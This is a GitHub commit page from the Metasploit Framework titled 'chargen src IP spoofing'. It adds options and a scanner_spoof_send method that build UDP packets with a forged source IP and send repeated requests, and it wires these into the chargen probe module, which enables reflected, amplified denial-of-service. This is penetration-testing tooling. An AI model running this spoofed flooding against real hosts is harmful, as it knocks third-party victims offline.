Skip to content

Commit bb018de

Browse files
committed
chargen src IP spoofing
1 parent 39d302a commit bb018de

File tree

3 files changed

+53
-15
lines changed

3 files changed

+53
-15
lines changed

lib/msf/core/auxiliary/drdos.rb

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,15 @@ module Msf
88
###
99
module Auxiliary::DRDoS
1010

11+
def initialize(info = {})
12+
super
13+
register_advanced_options(
14+
[
15+
OptAddress.new('SRCIP', [false, 'Use this source IP']),
16+
OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]),
17+
], self.class)
18+
end
19+
1120
def prove_amplification(response_map)
1221
vulnerable = false
1322
proofs = []
@@ -43,5 +52,9 @@ def prove_amplification(response_map)
4352
[ vulnerable, proofs.join(', ') ]
4453
end
4554

55+
def spoofed?
56+
!datastore['SRCIP'].nil?
57+
end
58+
4659
end
4760
end

lib/msf/core/auxiliary/udp_scanner.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,24 @@ def run_batch(batch)
6969
scanner_postscan(batch)
7070
end
7171

72+
# Send a spoofed packet to a given host and port
73+
def scanner_spoof_send(data, ip, port, srcip, num_packets=1)
74+
open_pcap
75+
p = PacketFu::UDPPacket.new
76+
p.ip_saddr = srcip
77+
p.ip_daddr = ip
78+
p.ip_ttl = 255
79+
p.udp_src = (rand((2**16)-1024)+1024).to_i
80+
p.udp_dst = port
81+
p.payload = data
82+
p.recalc
83+
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
84+
1.upto(num_packets) do |x|
85+
capture_sendto(p, ip)
86+
end
87+
close_pcap
88+
end
89+
7290
# Send a packet to a given host and port
7391
def scanner_send(data, ip, port)
7492

modules/auxiliary/scanner/chargen/chargen_probe.rb

Lines changed: 22 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,11 @@
99
class Metasploit3 < Msf::Auxiliary
1010

1111
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Capture
1213
include Msf::Auxiliary::Report
1314
include Msf::Exploit::Remote::Udp
15+
include Msf::Auxiliary::DRDoS
16+
include Msf::Auxiliary::UDPScanner
1417

1518
def initialize
1619
super(
@@ -45,24 +48,28 @@ def initialize
4548
end
4649

4750
def run_host(rhost)
48-
begin
49-
connect_udp
50-
pkt = Rex::Text.rand_text_alpha_lower(1)
51-
udp_sock.write(pkt)
52-
r = udp_sock.recvfrom(65535, 0.1)
51+
data = Rex::Text.rand_text_alpha_lower(1)
52+
if spoofed?
53+
scanner_spoof_send(data, rhost, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS'])
54+
else
55+
begin
56+
connect_udp
57+
udp_sock.write(data)
58+
r = udp_sock.recvfrom(65535, 0.1)
5359

54-
if r and r[1]
55-
vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}")
56-
res = r[0].to_s.strip
57-
if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/))
58-
print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)")
59-
report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length)
60+
if r and r[1]
61+
vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}")
62+
res = r[0].to_s.strip
63+
if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/))
64+
print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)")
65+
report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length)
66+
end
6067
end
68+
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
69+
nil
70+
ensure
71+
disconnect_udp if self.udp_sock
6172
end
62-
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
63-
nil
64-
ensure
65-
disconnect_udp if self.udp_sock
6673
end
6774
end
6875
end

0 commit comments

Comments
 (0)